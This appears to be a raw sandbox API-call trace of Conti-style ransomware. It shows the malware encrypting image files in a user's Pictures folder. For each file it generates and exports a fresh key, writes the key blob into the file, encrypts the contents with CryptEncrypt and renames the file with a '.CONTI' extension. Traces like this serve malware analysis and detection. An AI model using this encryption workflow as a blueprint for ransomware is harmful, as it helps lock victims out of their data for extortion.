	[0144.168] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\emIdJ_IBTeY-YId.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\emidj_ibtey-yid.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\emIdJ_IBTeY-YId.gif.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\emidj_ibtey-yid.gif.conti")) returned 1
	[0144.187] GetProcessHeap () returned 0x1720000
	[0144.187] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0144.187] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0144.187] GetProcessHeap () returned 0x1720000
	[0144.187] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbf68 | out: hHeap=0x1720000) returned 1
	[0144.187] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0144.187] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4bbd8 | out: phKey=0x6b4bbd8*=0x6b7f0f8) returned 1
	[0144.187] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4bbdc, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4bbdc*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0144.188] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ErgLUZwJb.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ergluzwjb.jpg")) returned 0x20
	[0144.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ErgLUZwJb.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ergluzwjb.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0144.188] GetLastError () returned 0x0
	[0144.188] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=65715) returned 1
	[0144.188] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x100b3
	[0144.188] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.188] SetEndOfFile (hFile=0x44c) returned 1
	[0144.188] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.188] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.189] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4bbdc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4bbdc*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0144.206] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.206] ReadFile (in: hFile=0x44c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x100b3, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x100b3, lpOverlapped=0x0) returned 1
	[0144.209] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x100b3, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x100c0) returned 1
	[0144.209] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.209] WriteFile (in: hFile=0x44c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x100c0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x100c0, lpOverlapped=0x0) returned 1
	[0144.210] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.210] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4bbd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4bbd0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0144.210] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.210] CloseHandle (hObject=0x44c) returned 1
	[0144.210] GetProcessHeap () returned 0x1720000
	[0144.210] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0144.210] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Pictures\\ErgLUZwJb.jpg" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\ErgLUZwJb.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\ErgLUZwJb.jpg"
	[0144.210] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\ErgLUZwJb.jpg", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\ErgLUZwJb.jpg.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\ErgLUZwJb.jpg.CONTI"
	[0144.210] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ErgLUZwJb.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ergluzwjb.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ErgLUZwJb.jpg.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\ergluzwjb.jpg.conti")) returned 1
	[0144.211] GetProcessHeap () returned 0x1720000
	[0144.211] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0144.211] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0144.211] GetProcessHeap () returned 0x1720000
	[0144.211] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf288 | out: hHeap=0x1720000) returned 1
	[0144.211] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0144.211] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a750 | out: phKey=0x6b4a750*=0x6b7f0f8) returned 1
	[0144.212] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a754, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4a754*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0144.212] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\F7MtBIJkEMDnxs0o7V0Y.png" (normalized: "c:\\users\\fd1hvy\\pictures\\f7mtbijkemdnxs0o7v0y.png")) returned 0x20
	[0144.213] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\F7MtBIJkEMDnxs0o7V0Y.png" (normalized: "c:\\users\\fd1hvy\\pictures\\f7mtbijkemdnxs0o7v0y.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0144.213] GetLastError () returned 0x0
	[0144.213] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=71045) returned 1
	[0144.213] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11585
	[0144.213] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.213] SetEndOfFile (hFile=0x44c) returned 1
	[0144.213] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.214] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.214] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4a754*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4a754*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0144.216] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.216] ReadFile (in: hFile=0x44c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x11585, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x11585, lpOverlapped=0x0) returned 1
	[0144.217] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11585, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11590) returned 1
	[0144.218] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.218] WriteFile (in: hFile=0x44c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x11590, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x11590, lpOverlapped=0x0) returned 1
	[0144.218] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.218] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4a748*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4a748*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0144.218] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.218] CloseHandle (hObject=0x44c) returned 1
	[0144.218] GetProcessHeap () returned 0x1720000
	[0144.218] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0144.218] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Pictures\\F7MtBIJkEMDnxs0o7V0Y.png" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\F7MtBIJkEMDnxs0o7V0Y.png") returned="C:\\Users\\FD1HVy\\Pictures\\F7MtBIJkEMDnxs0o7V0Y.png"
	[0144.218] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\F7MtBIJkEMDnxs0o7V0Y.png", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\F7MtBIJkEMDnxs0o7V0Y.png.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\F7MtBIJkEMDnxs0o7V0Y.png.CONTI"
	[0144.218] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\F7MtBIJkEMDnxs0o7V0Y.png" (normalized: "c:\\users\\fd1hvy\\pictures\\f7mtbijkemdnxs0o7v0y.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\F7MtBIJkEMDnxs0o7V0Y.png.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\f7mtbijkemdnxs0o7v0y.png.conti")) returned 1
	[0144.219] GetProcessHeap () returned 0x1720000
	[0144.219] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0144.219] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0144.219] GetProcessHeap () returned 0x1720000
	[0144.219] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65de760 | out: hHeap=0x1720000) returned 1
	[0144.219] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0144.219] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a998 | out: phKey=0x6b4a998*=0x6b7f0f8) returned 1
	[0144.219] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a99c, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4a99c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0144.220] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\fxb YYrUNm8P6AQn.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\fxb yyrunm8p6aqn.jpg")) returned 0x20
	[0144.220] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\fxb YYrUNm8P6AQn.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\fxb yyrunm8p6aqn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0144.220] GetLastError () returned 0x0
	[0144.220] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=39462) returned 1
	[0144.220] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9a26
	[0144.220] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.220] SetEndOfFile (hFile=0x44c) returned 1
	[0144.220] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.220] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.221] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4a99c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4a99c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0144.223] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.223] ReadFile (in: hFile=0x44c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x9a26, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x9a26, lpOverlapped=0x0) returned 1
	[0144.224] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x9a26, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x9a30) returned 1
	[0144.224] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.224] WriteFile (in: hFile=0x44c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x9a30, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x9a30, lpOverlapped=0x0) returned 1
	[0144.224] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.224] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4a990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4a990*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0144.224] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.224] CloseHandle (hObject=0x44c) returned 1
	[0144.224] GetProcessHeap () returned 0x1720000
	[0144.224] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0144.224] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Pictures\\fxb YYrUNm8P6AQn.jpg" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\fxb YYrUNm8P6AQn.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\fxb YYrUNm8P6AQn.jpg"
	[0144.224] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\fxb YYrUNm8P6AQn.jpg", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\fxb YYrUNm8P6AQn.jpg.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\fxb YYrUNm8P6AQn.jpg.CONTI"
	[0144.224] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\fxb YYrUNm8P6AQn.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\fxb yyrunm8p6aqn.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\fxb YYrUNm8P6AQn.jpg.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\fxb yyrunm8p6aqn.jpg.conti")) returned 1
	[0144.225] GetProcessHeap () returned 0x1720000
	[0144.225] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0144.225] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0144.225] GetProcessHeap () returned 0x1720000
	[0144.225] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbd60 | out: hHeap=0x1720000) returned 1
	[0144.225] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0144.225] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b499a0 | out: phKey=0x6b499a0*=0x6b7f0f8) returned 1
	[0144.225] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b499a4, pdwDataLen=0x4d3fec4 | out: pbData=0x6b499a4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0144.226] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\I3Q L1tw8.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\i3q l1tw8.gif")) returned 0x20
	[0144.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\I3Q L1tw8.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\i3q l1tw8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0144.226] GetLastError () returned 0x0
	[0144.226] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=12654) returned 1
	[0144.226] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x316e
	[0144.226] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.226] SetEndOfFile (hFile=0x44c) returned 1
	[0144.226] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.226] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.227] WriteFile (in: hFile=0x44c, lpBuffer=0x6b499a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b499a4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0144.228] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.228] ReadFile (in: hFile=0x44c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x316e, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x316e, lpOverlapped=0x0) returned 1
	[0144.229] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x316e, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x3170) returned 1
	[0144.229] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.229] WriteFile (in: hFile=0x44c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x3170, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x3170, lpOverlapped=0x0) returned 1
	[0144.229] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.229] WriteFile (in: hFile=0x44c, lpBuffer=0x6b49998*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b49998*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0144.229] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.229] CloseHandle (hObject=0x44c) returned 1
	[0144.229] GetProcessHeap () returned 0x1720000
	[0144.229] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0144.229] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Pictures\\I3Q L1tw8.gif" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\I3Q L1tw8.gif") returned="C:\\Users\\FD1HVy\\Pictures\\I3Q L1tw8.gif"
	[0144.229] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\I3Q L1tw8.gif", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\I3Q L1tw8.gif.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\I3Q L1tw8.gif.CONTI"
	[0144.229] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\I3Q L1tw8.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\i3q l1tw8.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\I3Q L1tw8.gif.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\i3q l1tw8.gif.conti")) returned 1
	[0144.230] GetProcessHeap () returned 0x1720000
	[0144.230] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0144.230] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0144.230] GetProcessHeap () returned 0x1720000
	[0144.230] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17becb0 | out: hHeap=0x1720000) returned 1
	[0144.230] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0144.230] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c068 | out: phKey=0x6b4c068*=0x6b7f0f8) returned 1
	[0144.230] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c06c, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4c06c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0144.231] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\jaXtm.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\jaxtm.bmp")) returned 0x20
	[0144.231] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\jaXtm.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\jaxtm.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0144.231] GetLastError () returned 0x0
	[0144.231] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=13662) returned 1
	[0144.231] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x355e
	[0144.231] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.231] SetEndOfFile (hFile=0x44c) returned 1
	[0144.232] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.232] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.232] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4c06c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4c06c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0144.233] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
